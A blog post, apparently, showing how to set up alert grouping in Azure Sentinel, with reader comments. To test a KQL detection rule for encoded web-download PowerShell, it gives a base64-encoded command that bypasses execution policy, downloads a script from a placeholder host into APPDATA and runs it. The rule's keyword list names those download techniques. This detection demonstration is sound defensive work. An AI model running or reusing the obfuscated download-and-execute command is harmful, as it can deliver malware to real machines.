Alert Grouping feature in Azure Sentinel

One of the things that SecOps guys needs when working with Azure Sentinel is the ability to group all alerts that have similar characteristics into a single incident in order to better manage and respond. Given an example about Traffic detected from IP addresses recommended for blocking alert or Access from an unusual location to a storage account which may trigger a false positive incident in specific use case.

In this article, let’s have a quick look in Alert Grouping feature in Azure Sentinel to group alerts into a single incident.

First we need to create a schedule analytics rule. Note that Alert grouping is not supported in Microsoft incident creation rule. Below is the sample analytics rule to catch a encoded command line that uses Invoke-WebRequest from a Windows virtual machine invoked by PowerShell.

| where CommandLine != ""
| where Process == "powershell.exe"
| extend base64 = extract("[A-Za-z0-9|+|=|/]{30,}",0,CommandLine)
| extend utf8_decode = base64_decodestring(base64)
| extend decodedCmd = replace("\x00","",utf8_decode ) 
| where decodedCmd != "" and 
        decodedCmd contains "New-Object System.Net.WebClient" or 
        decodedCmd contains "-iex" or
        decodedCmd contains "Invoke-WebRequest"
| extend AccountCustomEntity = Account
| extend HostCustomEntity = Computer

In Incident settings, you can configure alert grouping by select Enabled under Group related alerts, triggered by this analytics rule, into incident. You are given the ability to set time frame to group alerts into an incident. For example you would like to group all alerts within 5 hours into an incident.

Under Group alerts triggered by this analytics rule into a single incident by setting, there are three straightforward options:

  • Grouping alerts into a single incident if all the entities match.
  • Grouping all alerts triggered by this rule into a single incident.
  • Grouping alerts into a single incident if the selected entities match.

Depending on detection rule you have, this setting may vary. In my test case, I would like to go with the 3rd option Grouping alerts into a single incident if the selected entities match and select Computer as a matching entity because I test it on one virtual machine only. In the real-world, the first option seems to be the recommended one because if all entities are matched it is likely the host is compromised.

The last setting is Re-open closed matching incident. This setting allows you to re-open an incident that you have closed in case there is a matching incident that has been newly generated.

Now RDP to your Windows Server virtual machine and execute the following command in Windows Command Prompt console:

powershell.exe -enc UG93ZXJTaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wcm9maWxlIC1jb21tYW5kIChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoImh0dHA6Ly9zb21ldGhpbmcvc29tZW9uZSIsICIkZW52OkFQUERBVEFcaGwucHMxIiApO1N0YXJ0LVByb2Nlc3MoICIkZW52OkFQUERBVEFcaGwucHMxIiAp

After executing this command wait some minutes (depending on how you set the query scheduling in incident) and try to execute a few more times.  The following screenshot shows you two different incidents:

  • Suspicious PowerShell Activity Detected: this incident is generated by an alert from Azure Security Center.
  • Encoded Invoke-WebRequest PowerShell: this incident is generated by a schedule analytics rule we created above.

From Azure Security Center, each alert creates an incident. However the incident named Encoded Invoke-WebRequest PowerShell has 4 alerts grouped together.

If you click to see full details you can see that 4 alerts are grouped into the incident ID 117.

Alert grouping would be helpful to reduce incident that is generated from alerts matching entities. Note that this feature is different from Fusion which would group all incidents into one.

This entry was posted in Monitoring & Detection and tagged , . Bookmark the permalink.

3 Responses to Alert Grouping feature in Azure Sentinel

  1. Luiz says:

    Thank you very much for the information.

    I am already using this feature and I am having good results.

    One problem I am experiencing is with a grouping function. I configured to group by [account]. When a query is executed, the logs point to two different users, but it generated only one ticket containing the two different entities in the same incident, even with a grouping option per [account].

    The correct one should open two incidents, one for each [account], right?

    In the link below, there is an image as an example.

    link image:

    I grouped the rule by the field [id_incident], using the entity [account]. In the raw logs, two types of [incident_id] were generated and only one use case was created containing the two accounts. The correct thing should be two incidents, because there were two different [id_incidents]. Am I correct in my thinking?

    Can you help me
    in that regard?

  2. Jason says:

    in your example you grouped 4 alerts into one incident. What happened to the other 3 incidents associated with the these alerts?

Leave a Reply

Your email address will not be published.